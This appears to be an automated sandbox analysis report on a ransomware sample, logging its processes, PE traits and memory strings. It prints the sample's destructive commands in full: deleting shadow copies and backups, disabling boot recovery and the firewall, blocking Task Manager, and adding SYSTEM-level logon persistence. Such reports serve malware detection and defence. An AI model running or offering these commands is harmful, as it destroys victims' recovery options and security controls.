Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete	Jump to behavior
Source: Unlockpls.dr01@protonmail.com-1.exe, 00000000.00000000.300678770.000000000090A000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe, 00000011.00000000.426434076.00000000007DA000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe	Binary or memory string: vssadmin delete shadows /all /quiet
Source: winlogon.exe, 00000014.00000002.442723481.00000000025EC000.00000004.00000001.sdmp	Binary or memory string: Pm#vssadmin delete shadows /all /quiet
Source: winlogon.exe, 00000014.00000002.441092194.000000000020F000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe, 00000014.00000000.435671298.000000000020A000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin delete shadows /all /quiet	Jump to behavior
Source: cmd.exe, 00000015.00000003.446390552.0000000000B72000.00000004.00000040.sdmp	Binary or memory string: Windows\System32\cmd.exe" C vssadmin delete shadows /all /quiet
Source: cmd.exe, 00000015.00000002.446926480.0000000000B70000.00000004.00000040.sdmp	Binary or memory string: C:\Windows\System32\cmd.exe/Cvssadmindeleteshadows/all/quietTOP-7^
Source: cmd.exe, 00000015.00000002.446823627.0000000000740000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quietC:\Windows\System32\cmd.exeWinSta0\Default%vq
Source: cmd.exe, 00000015.00000002.446823627.0000000000740000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exexevssadmin delete shadows /all /quietxffvssadmin delete shadows /all /quietWinSta0\Default:\PALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFile\Registry\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\SideBySideierslesCOMPUTERNAME=computerComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\computerNUMBER_OF_PROCESSORS=4OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 7, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=5507ProgramData=C:\ProgramDataPr\Regi\Registry\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\SideBySideogram Filesb
Source: vssadmin.exe, 00000019.00000002.445418825.0000000002EB0000.00000004.00000020.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quietvssadmin delete shadows /all /quietWinSta0\DefaultY
Source: vssadmin.exe, 00000019.00000002.445162329.0000000002AEC000.00000004.00000001.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00011736- TID: 00011740- CMD: vssadmin delete shadows /all /quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002
Source: vssadmin.exe, 00000019.00000002.445162329.0000000002AEC000.00000004.00000001.sdmp	Binary or memory string: - Code: ADMPROCC00001737- Call: ADMPROCC00001712- PID: 00011736- TID: 00011740- CMD: vssadmin delete shadows /all /quiet - User: Name: computer\user, SID:S-1-5-21-3853321935-2125563209-4053062332-1002 -
Source: vssadmin.exe, 00000019.00000002.445947554.0000000003300000.00000004.00000040.sdmp	Binary or memory string: vssadmindeleteshadows/all/quiets
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: winlogon.exe	Binary or memory string: vssadmin delete shadows /all /quiet
Source: winlogon.exe, 0000002E.00000002.477151673.0000000002CB2000.00000004.00000001.sdmp	Binary or memory string: Pm#vssadmin delete shadows /all /quiet
Source: winlogon.exe, 0000002E.00000002.474061074.000000000073F000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe, 0000002E.00000000.465719595.000000000073A000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe	Binary or memory string: vssadmin delete shadows /all /quiet
Source: winlogon.exe, 00000030.00000002.493373542.0000000002CF0000.00000004.00000001.sdmp	Binary or memory string: Pm#vssadmin delete shadows /all /quiet
Source: winlogon.exe, 00000030.00000000.482778602.000000000086A000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe, 00000030.00000002.487533717.000000000086F000.00000002.00020000.sdmp	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: Unlockpls.dr01@protonmail.com-1.exe	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe1.0.dr	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe.0.dr	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe.17.dr	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet
Source: winlogon.exe2.0.dr	Binary or memory string: vdsGvssadmin delete shadows /all /quietAwbadmin DELETE SYSTEMSTATEBACKUP-wmic shadowcopy delete;wbadmin delete catalog -quiet

System Summary:

PE file contains section with special chars

Show sources

Source: Unlockpls.dr01@protonmail.com-1.exe	Static PE information: section name: 3?*?6
Source: Unlockpls.dr01@protonmail.com-1.exe	Static PE information: section name: )f$Tn'l
Source: winlogon.exe.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe0.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe0.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe1.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe1.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe2.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe2.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe3.0.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe3.0.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe.17.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe.17.dr	Static PE information: section name: )f$Tn'l
Source: winlogon.exe0.17.dr	Static PE information: section name: 3?*?6
Source: winlogon.exe0.17.dr	Static PE information: section name: )f$Tn'l

Source: Unlockpls.dr01@protonmail.com-1.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File created: C:\Windows\winlogon.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_001E3CCC	20_2_001E3CCC
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F5428	20_2_049F5428
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049FA588	20_2_049FA588
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F3588	20_2_049F3588
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049FE5C8	20_2_049FE5C8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F8560	20_2_049F8560
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F6620	20_2_049F6620
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F7668	20_2_049F7668
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049FA068	20_2_049FA068
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F6CC0	20_2_049F6CC0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F2EF0	20_2_049F2EF0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F4F88	20_2_049F4F88
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F3F08	20_2_049F3F08
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F5F48	20_2_049F5F48
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F49C8	20_2_049F49C8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F7B08	20_2_049F7B08
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F8B40	20_2_049F8B40
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F7FA8	20_2_049F7FA8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe	Code function: 20_2_049F59C8	20_2_049F59C8
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_00713CCC	46_2_00713CCC
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02ACA068	46_2_02ACA068
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC6620	46_2_02AC6620
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC7668	46_2_02AC7668
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC5428	46_2_02AC5428
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02ACA588	46_2_02ACA588
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC3588	46_2_02AC3588
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02ACE5C8	46_2_02ACE5C8
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC8560	46_2_02AC8560
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC7B08	46_2_02AC7B08
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC8B40	46_2_02AC8B40
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC49C8	46_2_02AC49C8
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC2EF0	46_2_02AC2EF0
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC7FA8	46_2_02AC7FA8
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC4F88	46_2_02AC4F88
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC3F08	46_2_02AC3F08
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC5F48	46_2_02AC5F48
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC6CC0	46_2_02AC6CC0
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02AC59C8	46_2_02AC59C8
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02B90040	46_2_02B90040
Source: C:\ProgramData\winlogon.exe	Code function: 46_2_02B926A0	46_2_02B926A0
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_00843CCC	48_2_00843CCC
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BEA068	48_2_02BEA068
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE6620	48_2_02BE6620
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE7668	48_2_02BE7668
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE5428	48_2_02BE5428
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BEA588	48_2_02BEA588
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE3588	48_2_02BE3588
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BEE5C8	48_2_02BEE5C8
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE8560	48_2_02BE8560
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE7B08	48_2_02BE7B08
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE8B40	48_2_02BE8B40
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE59C8	48_2_02BE59C8
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE49C8	48_2_02BE49C8
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE2EF0	48_2_02BE2EF0
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE4F88	48_2_02BE4F88
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE3F08	48_2_02BE3F08
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE5F48	48_2_02BE5F48
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE6CC0	48_2_02BE6CC0
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_02BE7FA8	48_2_02BE7FA8
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_051D0040	48_2_051D0040
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_051D26A0	48_2_051D26A0
Source: C:\ProgramData\winlogon.exe	Code function: 48_2_051D1A89	48_2_051D1A89

Source: Unlockpls.dr01@protonmail.com-1.exe, 00000000.00000003.429928695.000000000D01A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesvchost.exe0 vs Unlockpls.dr01@protonmail.com-1.exe
Source: Unlockpls.dr01@protonmail.com-1.exe, 00000000.00000000.300764241.000000000095A000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamesvchost.exe0 vs Unlockpls.dr01@protonmail.com-1.exe
Source: Unlockpls.dr01@protonmail.com-1.exe	Binary or memory string: OriginalFilenamesvchost.exe0 vs Unlockpls.dr01@protonmail.com-1.exe

Source: g43m2pr1.exe.16.dr

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Source: Unlockpls.dr01@protonmail.com-1.exe	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487
Source: winlogon.exe.0.dr	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487
Source: winlogon.exe0.0.dr	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487
Source: winlogon.exe1.0.dr	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487
Source: winlogon.exe2.0.dr	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487
Source: winlogon.exe3.0.dr	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487
Source: winlogon.exe.17.dr	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487
Source: winlogon.exe0.17.dr	Static PE information: Section: )f$Tn'l ZLIB complexity 1.00040635487

Source: Unlockpls.dr01@protonmail.com-1.exe

ReversingLabs: Detection: 67%

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File read: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe "C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe"
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline
Source: unknown	Process created: C:\Users\user\AppData\Roaming\winlogon.exe C:\Users\user\AppData\Roaming\winlogon.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA4A.tmp" "c:\ProgramData\CSC349A74A79F2A4776AA44A5AABA325CC.TMP"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe"
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set currentprofile state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall set opmode mode=disable
Source: unknown	Process created: C:\ProgramData\winlogon.exe "C:\ProgramData\winlogon.exe"
Source: unknown	Process created: C:\ProgramData\winlogon.exe "C:\ProgramData\winlogon.exe"
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\logs.txt
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wvtymcow.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Source: C:\Users\user\AppData\Roaming\winlogon.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Windows\system32\config\systemprofile\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Windows\system32\config\systemprofile\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dnxfxcjw\dnxfxcjw.cmdline	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off	Jump to behavior
Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\user\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA4A.tmp" "c:\ProgramData\CSC349A74A79F2A4776AA44A5AABA325CC.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\vssadmin.exe vssadmin delete shadows /all /quiet	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall set currentprofile state off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall set opmode mode=disable
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\winlogon.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File created: C:\Users\user\Desktop\logs.txt

Jump to behavior

Source: C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe

File created: C:\Users\user\AppData\Local\Temp\txzrtbhv.ico

Jump to behavior

Source: classification engine

